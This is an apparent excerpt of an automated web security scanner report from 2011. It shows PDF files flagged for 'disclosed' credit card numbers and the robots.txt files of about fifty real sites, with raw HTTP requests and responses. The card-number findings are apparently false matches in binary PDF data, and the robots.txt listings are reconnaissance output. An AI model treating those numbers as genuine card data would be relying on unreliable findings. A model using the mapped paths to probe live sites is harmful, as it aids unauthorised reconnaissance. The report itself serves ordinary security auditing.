2162 0 obj<</Linearized 1/L 2303464/O 2165/E 237119/N 36/T 2260175/H [ 858 1255]>>endobj
xref
2162 27
0000000016 00000 n
0000002332 00000 n
0000002679 00000 n
000000282
...[SNIP]...
</StemV 78.878/FontName/IHEANA+Calibri-Italic/FontStretch/Normal/FontFile2 221 0 R/FontWeight 400/Flags 96/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle -15>
...[SNIP]...
</StemV 78.878/FontName/IHEALP+Calibri-Italic/FontStretch/Normal/FontFile2 223 0 R/FontWeight 400/Flags 68/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle -15>
...[SNIP]...
/TrueType/FontDescriptor 301 0 R/LastChar 120/Widths[228 0 0 0 0 0 0 0 0 0 0 0 0 0 228 0 0 0 0 0 0 0 0 0 0 0 228 0 0 0 0 0 0 547 0 0 0 0 0 0 0 0 0 0 0 0 592 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 456 456 410 456 456 0 0 0 182 0 0 182 683 456 456 456 0 273 410 228 456 0 0 410]/BaseFont/ArialNarrow/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...

22.7. http://www.interactivebrokers.com/download/en/SGX_Apex50_Part1.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/SGX_Apex50_Part1.pdf

Issue detail

The following credit card number was disclosed in the response:

5005005001000333

Request

GET /download/en/SGX_Apex50_Part1.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:13 GMT
Server: Apache
Last-Modified: Mon, 25 Aug 2008 20:17:36 GMT
ETag: "ce402f-134c53-7a639800"
Accept-Ranges: bytes
Content-Length: 1264723
Connection: close
Content-Type: application/pdf

%PDF-1.4 477 0 obj <</Linearized 1/O 480/H [ 1079 340]/L 1264723/E 131665/N 24/T 1255068>>endobj xref477 24 0000000016 000
...[SNIP]...
667 667 667 389 667 667 333 333 667 333 1000 667 667 667 667 444 611 444 667 611 944 667 611 556 389 278 389 660 750 667 750 278 667 500 1000 667 667 333 1000 722 333 1000 750 722 750 750 278 278 500 500 500 500 1000 333 950 611 333 1000 750 556 778 333 333 667 667 660 667 278 667 333 800 400 667 660 333 800 500 400 660 400 400 333 667 850 333 333 400 400 667 1000 1000 1000 611 778 778 778 778 778 778 1000 778 722 722
...[SNIP]...

22.8. http://www.interactivebrokers.com/download/en/Technical_Analysis.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/Technical_Analysis.pdf

Issue detail

The following credit card numbers were disclosed in the response:

4614593655975310
4761941214952
5920000592000000

Request

GET /download/en/Technical_Analysis.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:53 GMT
Server: Apache
Last-Modified: Wed, 24 Jun 2009 16:12:28 GMT
ETag: "ce40a9-109b64-5fa3f300"
Accept-Ranges: bytes
Content-Length: 1088356
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
1251 0 obj<</Linearized 1/L 1088356/O 1254/E 99923/N 37/T 1063287/H [ 960 922]>>endobj
xref
1251 32
0000000016 00000 n
0000002089 00000 n
0000002436 00000 n
000000258
...[SNIP]...
</Subtype/TrueType/FontDescriptor 1260 0 R/LastChar 150/Widths[740 0 408 408 0 0 0 0 0 505 592 0 0 0 0 592 0 0 0 0 0 0 0 0 0 452 0 652 651 573 705 0 551 0 0 350 0 0 0 846 679 695 614 695 662 513 639 0 634 961 619 0 0 0 0 0 0 0 0 535 591 469 597 531 0 520 597 314 0 592 308 890 604 569 597 0 461 459 365 597 531 0 525 531 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 235 0 0 0 500]/BaseFont/JFMHEF+Cambria-Bold/FirstChar 38/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...
</StemV 80/FontName/JFMHHF+Calibri/FontStretch/Normal/FontFile2 1274 0 R/FontWeight 400/Flags 32/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...
</StemV 80/FontName/JFMHHE+Calibri/FontStretch/Normal/FontFile2 1278 0 R/FontWeight 400/Flags 4/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...

22.9. http://www.transworldfutures.com/pdf/historicalcharts.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/pdf/historicalcharts.pdf

Issue detail

The following credit card numbers were disclosed in the response:

4440000000000000
5007225005000000
5565565560000000

Request

GET /pdf/historicalcharts.pdf HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:45 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
Last-Modified: Thu, 01 Apr 2010 20:15:09 GMT
ETag: "1a681d0-78823-84f38d40"
Accept-Ranges: bytes
Content-Length: 493603
Connection: close
Content-Type: application/pdf

%PDF-1.6%....
85 0 obj<</Linearized 1/L 493603/O 88/E 28564/N 22/T 491856/H [ 676 335]>>endobj
xref
85 19
0000000016 00000 n
0000001011 00000 n
0000001090 00000 n
0000001220
...[SNIP]...
0 0 0 0 0 333 0 0 0 0 0 0 722 667 722 0 667 0 0 778 389 0 0 667 944 722 778 611 0 722 556 667 0 0 1000 0 0 0 0 0 0 0 0 0 500 556 444 556 444 333 500 556 278 0 556 278 833 556 500 556 0 444 389 333 556 500 722 500 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 333]/BaseFont/Times-Bold/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...
22 611 556 722 722 333 389 722 611 889 722 722 556 722 667 556 611 722 722 944 722 722 0 0 0 0 0 0 0 444 500 444 500 444 333 500 500 278 278 500 278 778 500 500 500 500 333 389 278 500 500 722 500 500 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 333 444 444 0 0 1000]/BaseFont/Times-Roman/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...
</Subtype/TrueType/FontDescriptor 73 0 R/LastChar 121/Widths[278 0 355 556 0 0 667 0 333 333 0 0 0 333 0 0 556 556 556 556 556 556 556 556 556 556 0 0 0 0 0 0 0 667 667 722 722 667 611 778 722 278 500 667 556 833 722 778 667 778 722 667 611 722 0 944 667 667 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 0 500 222 833 556 556 556 0 333 500 278 556 500 722
...[SNIP]...

23. Robots.txt file previous next
There are 50 instances of this issue:

https://account.optionsxpress.com/OpenAccount/Index
https://adwords.google.com/um/StartNewLogin
http://cdn-static.viddler.com/crossdomain.xml
http://cdn-thumbs.viddler.com/crossdomain.xml
http://cdn.static.viddler.com/flash/as3/full-publisher.swf
https://docs.google.com/
http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html
http://go.microsoft.com/fwlink/
http://groups.google.com/groups
http://images.google.com/support/bin/answer.py
http://jqueryui.com/themeroller/
http://l.addthiscdn.com/live/t00/200lo.gif
https://mail.google.com/mail/
http://maps.google.com/maps
http://news.google.com/news/story
https://online.optionsxpress.ca/new_account.asp
https://online.optionsxpress.com.sg/new_account.asp
https://online.optionsxpress.eu/new_account.asp
http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard
http://picasaweb.google.com/lh/view
http://pixel.everesttech.net/2164/cq
http://safebrowsing.clients.google.com/safebrowsing/downloads
http://scholar.google.com/scholar
https://sites.google.com/
http://stats.optionsxpress.com/b/ss/oxpressprodus/1/H.20.3/s83347698624711
http://toolbarqueries.clients.google.com/tbproxy/af/query
http://translate.google.com/
http://translate.googleapis.com/translate_a/l
http://webcache.googleusercontent.com/search
http://www.adobe.com/shockwave/download/download.cgi
https://www.barchart.com/register/realtime/
http://www.facebook.com/sharer.php
http://www.farrdirect.com/
http://www.futurestrading.com/
http://www.globalfutures.com/index.asp
http://www.google-analytics.com/__utm.gif
http://www.google.com/search
https://www.google.com/calendar
http://www.googleadservices.com/pagead/aclk
http://www.invest-store.com/commoditybooks/
http://www.optioneducation.net/select/direct_login.asp
http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx
https://www.optionsxpress.com/new_account.asp
https://www.optionsxpress.com.au/new_account.asp
https://www.pfgboss.com/Default.aspx
http://www.thefinancials.com/syndicated/DTS/DTSs_Commodities.js
http://www.usda.gov/wps/portal/!ut/p/_s.7_0_A/7_0_1OB
http://www.viddler.com/player/cc4ac375/
http://www.youtube.com/results
http://www.zumo.com/

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

23.1. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: account.optionsxpress.com

Response

HTTP/1.1 200 OK
Content-Length: 189
Content-Type: text/plain
Last-Modified: Fri, 26 Mar 2010 18:59:38 GMT
Accept-Ranges: bytes
ETag: "60959d7b16cdca1:e65"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=F6D95D134C6C8C97A03B8E8CC4A12A39; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:22 GMT
Connection: close

User-agent: *
Allow: /

User-Agent: gsa-crawler
Allow: /
Disallow: /bin/
Disallow: /AccountService/
Disallow: /free_ox_education/

Sitemap: http://www.optionsxpress.com/sitemap.xml

23.2. https://adwords.google.com/um/StartNewLogin previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://adwords.google.com
Path:	/um/StartNewLogin

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: adwords.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Thu, 08 Sep 2011 19:45:19 GMT
Expires: Thu, 08 Sep 2011 19:45:19 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Allow: /support/
Disallow: /

User-Agent: Googlebot
Allow: /
Allow: /support/
Disallow: /*?

23.3. http://cdn-static.viddler.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn-static.viddler.com
Path:	/crossdomain.xml

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: cdn-static.viddler.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=31536000
Content-Type: text/plain
Date: Thu, 08 Sep 2011 19:54:07 GMT
ETag: "803ba47c-54-496379c3613c0"
Expires: Fri, 07 Sep 2012 19:54:07 GMT
Last-Modified: Mon, 29 Nov 2010 21:18:15 GMT
Server: ECAcc (sjo/5250)
X-Cache: HIT
Content-Length: 84
Connection: close

User-Agent: *
Disallow: /

User-agent: Googlebot
Allow: /flash/publisher.swf?*key=*

23.4. http://cdn-thumbs.viddler.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn-thumbs.viddler.com
Path:	/crossdomain.xml

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: cdn-thumbs.viddler.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Content-Type: text/plain
Date: Thu, 08 Sep 2011 19:54:07 GMT
ETag: "780767-23-492574927d580"
Last-Modified: Mon, 11 Oct 2010 13:24:54 GMT
Server: ECAcc (sjo/5250)
X-Cache: HIT
Content-Length: 35
Connection: close

User-Agent: *
Disallow: /search/?

23.5. http://cdn.static.viddler.com/flash/as3/full-publisher.swf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.static.viddler.com
Path:	/flash/as3/full-publisher.swf

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: cdn.static.viddler.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=31536000
Content-Type: text/plain
Date: Thu, 08 Sep 2011 19:54:04 GMT
ETag: "803ba47c-54-496379c3613c0"
Expires: Fri, 07 Sep 2012 19:54:04 GMT
Last-Modified: Mon, 29 Nov 2010 21:18:15 GMT
Server: ECAcc (sjo/5250)
X-Cache: HIT
Content-Length: 84
Connection: close

User-Agent: *
Disallow: /

User-agent: Googlebot
Allow: /flash/publisher.swf?*key=*

23.6. https://docs.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://docs.google.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: docs.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Thu, 08 Sep 2011 19:46:59 GMT
Expires: Thu, 08 Sep 2011 19:46:59 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Allow: /$
Allow: /support/
Allow: /a/
Allow: /Doc
Allow: /View
Allow: /ViewDoc
Allow: /present
Allow: /Present
Allow: /TeamPresent
Allow: /EmbedSlideshow
Allow: /templates
Allow: /previe
...[SNIP]...

23.7. http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: finance.yahoo.com

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:46:52 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Thu, 02 Dec 2010 23:04:54 GMT
Accept-Ranges: bytes
Content-Length: 85
Content-Type: text/plain; charset=utf-8
Age: 0
Server: YTS/1.20.7

User-agent: *
Disallow: /print/
Sitemap: http://finance.yahoo.com/seo_sm_finance_xml

23.8. http://go.microsoft.com/fwlink/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.microsoft.com
Path:	/fwlink/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: go.microsoft.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Wed, 06 Apr 2011 05:30:27 GMT
Accept-Ranges: bytes
ETag: "7d58abbc1bf4cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:45:22 GMT
Connection: keep-alive
Content-Length: 95

# Robots.txt file for http://go.microsoft.com
#

User-agent: *
Allow:/fwlink/p/
Disallow:/

23.9. http://groups.google.com/groups previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://groups.google.com
Path:	/groups

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: groups.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:46:55 GMT
Expires: Thu, 08 Sep 2011 19:46:55 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.10. http://images.google.com/support/bin/answer.py previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.google.com
Path:	/support/bin/answer.py

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: images.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:45:21 GMT
Expires: Thu, 08 Sep 2011 19:45:21 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.11. http://jqueryui.com/themeroller/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: jqueryui.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Thu, 08 Sep 2011 19:47:10 GMT
Content-Type: text/plain
Connection: close
Last-Modified: Tue, 02 Nov 2010 19:50:26 GMT
ETag: "238013-27-494173c706480"
Accept-Ranges: bytes
Content-Length: 39
X-Served-By: www4
X-Proxy: 1

User-agent: *
Disallow: /repository/

23.12. http://l.addthiscdn.com/live/t00/200lo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://l.addthiscdn.com
Path:	/live/t00/200lo.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: l.addthiscdn.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Tue, 07 Jun 2011 11:39:23 GMT
ETag: "df8ab7-1b-4a51dabdf10c0"
Content-Type: text/plain; charset=UTF-8
Date: Thu, 08 Sep 2011 19:25:14 GMT
Content-Length: 27
Connection: close

User-agent: *
Disallow: *

23.13. https://mail.google.com/mail/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mail.google.com
Path:	/mail/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: mail.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:46:54 GMT
Expires: Thu, 08 Sep 2011 19:46:54 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.14. http://maps.google.com/maps previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://maps.google.com
Path:	/maps

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: maps.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:47:07 GMT
Expires: Thu, 08 Sep 2011 19:47:07 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.15. http://news.google.com/news/story previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://news.google.com
Path:	/news/story

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: news.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:47:17 GMT
Expires: Thu, 08 Sep 2011 19:47:17 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.16. https://online.optionsxpress.ca/new_account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.optionsxpress.ca
Path:	/new_account.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: online.optionsxpress.ca

Response

HTTP/1.1 200 OK
Content-Length: 278
Content-Type: text/plain
Last-Modified: Thu, 29 Oct 2009 13:36:46 GMT
Accept-Ranges: bytes
ETag: "e04ddadb9c58ca1:422c"
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:47:18 GMT
Connection: close

User-Agent: *
Disallow: /downloads/
Disallow: /email/
Disallow: /inc/
Disallow: /styleguide/
Disallow: /oxwbroker/
Disallow: /oxnetaccnt/
Disallow: /oxnetbroker/
Disallow: /oxnettools/
Disall
...[SNIP]...

23.17. https://online.optionsxpress.com.sg/new_account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.optionsxpress.com.sg
Path:	/new_account.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: online.optionsxpress.com.sg

Response

HTTP/1.1 200 OK
Content-Length: 278
Content-Type: text/plain
Last-Modified: Thu, 29 Oct 2009 13:36:46 GMT
Accept-Ranges: bytes
ETag: "e04ddadb9c58ca1:2d0b"
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:46:46 GMT
Connection: close

User-Agent: *
Disallow: /downloads/
Disallow: /email/
Disallow: /inc/
Disallow: /styleguide/
Disallow: /oxwbroker/
Disallow: /oxnetaccnt/
Disallow: /oxnetbroker/
Disallow: /oxnettools/
Disall
...[SNIP]...

23.18. https://online.optionsxpress.eu/new_account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.optionsxpress.eu
Path:	/new_account.asp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: online.optionsxpress.eu

Response

HTTP/1.1 200 OK
Content-Length: 278
Content-Type: text/plain
Last-Modified: Thu, 29 Oct 2009 13:36:46 GMT
Accept-Ranges: bytes
ETag: "e04ddadb9c58ca1:45b0"
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 19:47:19 GMT
Connection: close

User-Agent: *
Disallow: /downloads/
Disallow: /email/
Disallow: /inc/
Disallow: /styleguide/
Disallow: /oxwbroker/
Disallow: /oxnetaccnt/
Disallow: /oxnetbroker/
Disallow: /oxnettools/
Disall
...[SNIP]...

23.19. http://optionsxpress.tt.omtrdc.net/m2/optionsxpress/mbox/standard previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://optionsxpress.tt.omtrdc.net
Path:	/m2/optionsxpress/mbox/standard

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: optionsxpress.tt.omtrdc.net

Response

HTTP/1.1 200 OK
Server: Test & Target
Content-Type: text/plain
Date: Thu, 08 Sep 2011 19:24:43 GMT
Accept-Ranges: bytes
ETag: W/"25-1309299047000"
Connection: close
Last-Modified: Tue, 28 Jun 2011 22:10:47 GMT
Content-Length: 25

User-agent: *
Disallow: /

23.20. http://picasaweb.google.com/lh/view previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://picasaweb.google.com
Path:	/lh/view

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: picasaweb.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Thu, 08 Sep 2011 19:45:23 GMT
Expires: Thu, 08 Sep 2011 19:45:23 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Allow: /lh/albumList
Allow: /lh/album
Allow: /lh/favorites
Allow: /lh/idredir
Allow: /lh/photo
Allow: /lh/sredir
Disallow: /lh/

23.21. http://pixel.everesttech.net/2164/cq previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.everesttech.net
Path:	/2164/cq

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: pixel.everesttech.net

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: Apache
Vary: X-EF-Forwarded-For
Last-Modified: Tue, 22 Mar 2011 22:39:33 GMT
ETag: "c68007-23-49f19eb07d340"
Accept-Ranges: bytes
Content-Length: 35
Keep-Alive: timeout=15, max=999811
Connection: Keep-Alive
Content-Type: text/plain

User-agent: Googlebot
Disallow: /

23.22. http://safebrowsing.clients.google.com/safebrowsing/downloads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://safebrowsing.clients.google.com
Path:	/safebrowsing/downloads

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: safebrowsing.clients.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Thu, 08 Sep 2011 19:47:18 GMT
Expires: Thu, 08 Sep 2011 19:47:18 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.23. http://scholar.google.com/scholar previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://scholar.google.com
Path:	/scholar

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: scholar.google.com

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:10:32 GMT
Expires: Fri, 09 Sep 2011 19:10:32 GMT
Content-Type: text/plain
Last-Modified: Thu, 18 Aug 2011 10:11:11 GMT
X-Content-Type-Options: nosniff
Server: scholar
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 2087

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

23.24. https://sites.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sites.google.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: sites.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Pragma: no-cache
Date: Thu, 08 Sep 2011 19:46:52 GMT
Expires: Thu, 08 Sep 2011 19:46:52 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Disallow: /feeds
Disallow: /*/_/

23.25. http://stats.optionsxpress.com/b/ss/oxpressprodus/1/H.20.3/s83347698624711 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://stats.optionsxpress.com
Path:	/b/ss/oxpressprodus/1/H.20.3/s83347698624711

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: stats.optionsxpress.com

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:49 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:58:27 GMT
ETag: "18d2ef-18-6e161ac0"
Accept-Ranges: bytes
Content-Length: 24
xserver: www599
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

23.26. http://toolbarqueries.clients.google.com/tbproxy/af/query previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarqueries.clients.google.com
Path:	/tbproxy/af/query

Issue detail

The web server contains a robots.txt file.

Request

